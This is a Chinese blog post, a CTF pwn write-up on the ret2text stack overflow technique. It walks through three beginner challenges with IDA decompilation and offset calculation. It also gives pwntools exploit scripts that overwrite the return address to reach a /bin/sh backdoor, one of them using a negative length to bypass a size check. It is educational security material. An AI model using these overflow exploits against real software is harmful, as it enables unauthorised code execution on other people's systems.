目录

  1. 1. 前言
  2. 2. 原理
  3. 3. 实战
    1. 3.1. ret2text (from NISA内部新生赛)
    2. 3.2. [SWPUCTF 2021 新生赛]gift_pwn
    3. 3.3. 整数溢出
    4. 3.4. [BJDCTF 2020]babystack2.0

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ret2text

2023/8/2 Pwn
  |     |   总文章阅读量:

前言

chen✌新生赛出了道ret2text的基础题,孩子不懂事学着玩结果做出来了,那就顺便记录一下

ctfwiki上的介绍

原理

ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。


实战

ret2text (from NISA内部新生赛)

拿到附件

丢进虚拟机chmod +x给权限,然后checksec

image-20230802163523146

64位开NX保护,丢进ida64

f5查看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  puts("ret2text");
  read(0, buf, 060uLL);
  return 0;
}

可以发现这里有一个read()函数接收我们输入的值,可以实现溢出

参数buf的范围是0-20h,因为这个程序是64位的,指针的大小为8字节,所以这里的偏移量应该为0x20 + 0x8

接下来我们shift+f12进行全局搜索

image-20230802164209527

找到/bin/sh,双击一下

image-20230802164250953

发现在backdoor方法里,点一下然后按tab键(有时候是tab+space)查看汇编视图

image-20230802164355434

找到进入方法的地址为0x4011E1

那就可以直接编写exp拿shell

from pwn import *

p = remote("156.224.22.161", "49224")

offset = 0x20+0x8
get_flag_addr = 0x4011E1
payload = offset * b'a' + p64(get_flag_addr)

p.sendline(payload)
p.interactive()

image-20230802164657649


[SWPUCTF 2021 新生赛]gift_pwn

常规操作

image-20230806223550491

是64位

ida64 f5看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln(argc, argv, envp);
  return 0;
}

跟踪到vuln函数

ssize_t vuln()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  return read(0, buf, 0x64uLL);
}

定义长度16,读取0x64=100,存在溢出,64位下偏移量为0x10+0x8

shift+f12查看字符串找到/bin/sh

image-20230806223828425

继续双击跟踪右边的gift

image-20230806223917889

跟踪上去后tab+space查看汇编代码

image-20230806224018470

得到进入方法的地址0x4005B6

写exp

from pwn import *

io = remote("node1.anna.nssctf.cn", "28060")

offset = 0x10+0x8
binsh_addr = 0x4005B6
payload = offset * b'a' +p64(binsh_addr)

io.sendline(payload)
io.interactive()

image-20230806224245130


整数溢出

考点知识待补充

[BJDCTF 2020]babystack2.0

基操

image-20230806224915475

ida64 f5看main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}

我们一开始输入的会作为nbytes的值,然后nbytes会作为read函数读取的长度,而nbytes的值不能超过10

可以注意到read函数这里的nbytes用了unsigned int,也就是说我们可以输入负数来绕过上面的限制

buf定义12,64位下偏移量为0x10+0x8

shift+f12找到/bin/sh

image-20230806225716470

一路跟踪到backdoor

image-20230806225757402

得到地址0x400726

编写exp

from pwn import *

io = remote("node2.anna.nssctf.cn", "28162")
#context.log_level = "debug"
offset = 0x10+0x8
binsh_addr = 0x400726
payload = offset * b'a' +p64(binsh_addr)

io.recv()
io.sendline(b'-10000')
io.recv()
io.sendline(payload)
io.interactive()